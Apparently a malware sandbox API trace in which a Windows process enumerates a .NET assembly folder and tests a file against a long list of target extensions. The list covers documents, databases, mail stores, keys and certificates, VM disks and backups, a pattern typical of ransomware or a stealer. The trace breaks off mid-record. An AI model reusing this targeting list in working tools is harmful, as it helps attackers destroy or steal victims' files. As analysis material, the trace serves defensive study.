PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0102.976] lstrlenA (lpString="*.qbo") returned 5 [0102.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0102.976] lstrlenA (lpString="*.qbx") returned 5 [0102.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0102.976] lstrlenA (lpString="*.qba") returned 5 [0102.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0102.976] lstrlenA (lpString="*.qby") returned 5 [0102.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0102.976] lstrlenA (lpString="*.qbj") returned 5 [0102.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0102.976] lstrlenA (lpString="*.ofx") returned 5 [0102.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0102.976] lstrlenA (lpString="*.qif") returned 5 [0102.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0102.976] lstrlenA (lpString="*.mye") returned 5 [0102.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0102.977] lstrlenA (lpString="*.mbox") returned 6 [0102.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0102.977] lstrlenA (lpString="*.eml") returned 5 [0102.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0102.977] lstrlenA (lpString="*.pst") returned 5 [0102.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0102.977] lstrlenA (lpString="*.ost") returned 5 [0102.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0102.977] lstrlenA (lpString="*.idx") returned 5 [0102.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0102.977] lstrlenA (lpString="*.dbx") returned 5 [0102.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0102.977] lstrlenA (lpString="*.sql") returned 5 [0102.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0102.977] lstrlenA (lpString="*.mdb") returned 5 [0102.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0102.978] lstrlenA (lpString="*.fdb") returned 5 [0102.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0102.978] lstrlenA (lpString="*.wab") returned 5 [0102.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0102.978] lstrlenA (lpString="*.dat") returned 5 [0102.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0102.978] lstrlenA (lpString="*.txt") returned 5 [0102.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0102.978] lstrlenA (lpString="*.jpeg") returned 6 [0102.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0102.978] lstrlenA (lpString="*.jpg") returned 5 [0102.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.png") returned 0 [0102.978] lstrlenA (lpString="*.png") returned 5 [0102.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.php") returned 0 [0102.978] lstrlenA (lpString="*.php") returned 5 [0102.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0102.978] lstrlenA (lpString="*.cs") returned 4 [0102.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0102.979] lstrlenA (lpString="*.cpp") returned 5 [0102.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0102.979] lstrlenA (lpString="*.rar") returned 5 [0102.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0102.979] lstrlenA (lpString="*.zip") returned 5 [0102.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.html") returned 0 [0102.979] lstrlenA (lpString="*.html") returned 6 [0102.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0102.979] lstrlenA (lpString="*.htm") returned 5 [0102.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0102.979] lstrlenA (lpString="*.xlsx") returned 6 [0102.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0102.979] lstrlenA (lpString="*.xls") returned 5 [0102.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0102.979] lstrlenA (lpString="*.mp4") returned 5 [0102.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0102.979] lstrlenA (lpString="*.ppt") returned 5 [0102.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0102.979] lstrlenA (lpString="*.pptx") returned 6 [0102.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0102.980] lstrlenA (lpString="*.doc") returned 5 [0102.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0102.980] lstrlenA (lpString="*.dot") returned 5 [0102.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0102.980] lstrlenA (lpString="*.docx") returned 6 [0102.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0102.980] lstrlenA (lpString="*.7z") returned 4 [0102.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0102.980] lstrlenA (lpString="*.tar") returned 5 [0102.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0102.980] lstrlenA (lpString="*.bz2") returned 5 [0102.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0102.980] lstrlenA (lpString="*.gz") returned 4 [0102.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0102.980] lstrlenA (lpString="*.mkv") returned 5 [0102.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0102.981] lstrlenA (lpString="*.eml") returned 5 [0102.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0102.981] lstrlenA (lpString="*.msg") returned 5 [0102.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0102.981] lstrlenA (lpString="*.edb") returned 5 [0102.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0102.981] lstrlenA (lpString="*.accdb") returned 7 [0102.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0102.981] lstrlenA (lpString="*.odb") returned 5 [0102.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.java") returned 0 [0102.981] lstrlenA (lpString="*.java") returned 6 [0102.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0102.981] lstrlenA (lpString="*.asm") returned 5 [0102.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0102.981] lstrlenA (lpString="*.pfx") returned 5 [0102.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0102.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0102.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0102.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0102.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0102.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0102.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0102.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0102.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0102.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0102.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0102.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0102.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0102.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0102.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0102.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0102.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0102.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0102.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0102.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0102.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0102.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0102.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0102.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0102.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0102.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0102.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0102.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0102.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0102.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0102.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0102.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0102.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0102.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0102.985] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d2e3920, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4d2e3920, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4d2e3920, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x96c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0102.986] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0102.986] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27472170, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x27472170, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x27472170, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="43ac81bed18b52d77a8011ada80939b5", cAlternateFileName="43AC81~1")) returned 1 [0102.986] lstrcmpA (lpString1=".", lpString2="43ac81bed18b52d77a8011ada80939b5") returned -1 [0102.986] lstrcmpA (lpString1="..", lpString2="43ac81bed18b52d77a8011ada80939b5") returned -1 [0102.986] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0102.986] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="43ac81bed18b52d77a8011ada80939b5" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5" [0102.986] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27472170, 